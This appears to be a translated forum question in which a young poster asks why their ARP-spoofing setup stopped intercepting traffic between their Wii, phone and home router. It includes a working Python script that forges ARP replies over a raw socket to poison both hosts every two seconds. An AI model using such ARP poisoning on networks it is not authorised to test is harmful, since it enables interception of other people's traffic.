Tengo una Nintendo Wii en mi LAN que se conecta en línea a través de mi enrutador. Escribí un script rápido y sucio para enviar paquetes ARP a la red cada dos segundos para que la Wii se comunique con mi computadora, que luego envía los datos a mi enrutador y viceversa. De esta manera, debería poder jugar en línea mientras capturo todo el tráfico.
Probé el script, y al principio funcionó. Pude ver todos los paquetes entrando y saliendo de Wireshark. Sin embargo, en algún momento los paquetes simplemente dejaron de aparecer. Todavía podía jugar en línea, pero la Wii y el enrutador comenzaron a hablar directamente entre sí de nuevo. Deshabilité el reenvío de puertos en la computadora y el juego no se vio afectado por completo. No he podido volver a recibir el tráfico.
Intenté reemplazar la Wii con mi teléfono. Al principio funcionó pero luego sucedió lo mismo. ¿Que está pasando aqui? ¿Es posible que mi enrutador finalmente detecte el ataque y neutralice mis esfuerzos?
EDITAR: Bien, aquí está el guión, en Python. Quiero hacer un programa para interpretar los datos que pasa. Se vuelve un poco pirateado a partir de la línea 24 porque solo quería comprobar que las dos funciones funcionaban.
def writeARPPacket(*,target,old,new):
"""
Write an ARP packet that tells _target_ to send things to _new_ when
it would have sent them to _old_.
"""
ph = [] # Stands for "placeholders".
ph += [target.getMAC()] # Destination's MAC address.
ph += [new.getMAC()] # Source's MAC address.
ph += [new.getMAC()] # Sender's MAC address.
ph += [old.getIP()] # Sender's IP address.
ph += [target.getMAC()] # Target's MAC address.
ph += [target.getIP()] # Target's IP address.
packet = b'%s%s\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02%s%s%s%s'
packet = packet % (ph[0],ph[1],ph[2],ph[3],ph[4],ph[5])
return packet
def sendARPPacket(netint,packet):
"Send through _netint_ the raw bytes-like object _packet_."
s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
s.bind((netint,0x0806))
s.send(packet)
if __name__ == '__main__':
class Dummy:
def __init__(self,IP,MAC):
self.IP = IP
self.MAC = MAC
def getIP(self): return self.IP
def getMAC(self): return self.MAC
# In place of '...', the real code includes the corresponding MAC addresses.
Wii = Dummy(b'\xC0\xA8\x00\x14',...)
phone = Dummy(b'\xC0\xA8\x00\x10',...)
gateway = Dummy(b'\xC0\xA8\x00\x01',...)
thisComp = Dummy(b'\xC0\xA8\x00\x11',...)
try:
while True:
for (a,b) in ((phone,gateway),(gateway,phone)):
packet = writeARPPacket(target=a,old=b,new=thisComp)
sendARPPacket('wlp3s0b1',packet)
time.sleep(2)
except KeyboardInterrupt:
sys.exit()
EDITAR (otra vez): Me acaban de informar que mi ISP estaba monitoreando mi uso de Internet hoy para ayudar a detectar problemas de conexión. Fue mi padre quien lo consintió sin haberme dicho. Sí, todavía soy joven. ¿Podría ser que detectaron el ataque y lo detuvieron de alguna manera?